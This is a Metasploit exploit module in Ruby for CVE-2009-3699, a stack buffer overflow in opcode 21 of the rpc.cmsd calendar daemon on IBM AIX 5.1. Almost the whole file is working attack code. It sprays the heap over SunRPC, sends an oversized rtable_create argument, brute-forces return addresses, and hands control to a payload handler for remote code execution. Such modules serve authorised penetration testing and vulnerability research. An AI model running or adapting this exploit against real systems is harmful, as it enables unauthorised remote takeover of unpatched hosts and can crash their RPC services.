##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SunRPC
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability in opcode 21 handled by
        rpc.cmsd on AIX. By making a request with a long string passed to the first
        argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This
        leads to arbitrary code execution.

        NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where
        further attempts are not possible.
      },
      'Author'         =>
        [
          'Rodrigo Rubira Branco (BSDaemon)',
          'jduck',
        ],
      'References'     =>
        [
          [ 'CVE', '2009-3699' ],
          [ 'OSVDB', '58726' ],
          [ 'BID', '36615' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],
          [ 'URL', 'http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]
        ],
      'Platform'       => [ 'aix' ],
      'Payload'        =>
        {
          'Space' => 4104,
          'BadChars' => "\x00",
          # The RPC function splits the string by 0x40, watch out!
          # It's not a payload badchar since we're putting the payload elsewhere...
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [
            'IBM AIX Version 5.1',
            {
              'Arch'     => 'ppc',
              'Platform' => 'aix',
              'AIX'      => '5.1',
              'Bruteforce' =>
              {
                'Start' => { 'Ret' => 0x2022dfc8 },
                #worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },
                'Stop'  => { 'Ret' => 0x202302c8 },
                'Step'  => 600
              }
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Oct 07 2009'))

  end

  def brute_exploit(brute_target)

    if not @aixpayload
      datastore['AIX'] = target['AIX']
      @aixpayload = regenerate_payload.encoded
    end

    print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret'])

    begin
      sunrpc_create('udp', 100068, 4)

      # spray the heap a bit (work around powerpc cache issues)
      buf = make_nops(1024 - @aixpayload.length)
      buf << @aixpayload
      xdr = Rex::Encoder::XDR.encode(buf, buf)
      10.times {
        sunrpc_call(7, xdr, 2)
      }

      #print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)

      buf = rand_text_alphanumeric(payload_space)
      buf << [brute_target['Ret']].pack('N')

      xdr = Rex::Encoder::XDR.encode(buf, "")
      sunrpc_authunix('localhost', 0, 0, [])
      sunrpc_call(21, xdr, 2)

      handler(sunrpc_callsock)
      sunrpc_destroy

    rescue Rex::Proto::SunRPC::RPCTimeout
      vprint_error('RPCTimeout')
    rescue Rex::Proto::SunRPC::RPCError => e
      vprint_error(e.to_s)
    rescue EOFError
      vprint_error('EOFError')
    end
  end
end
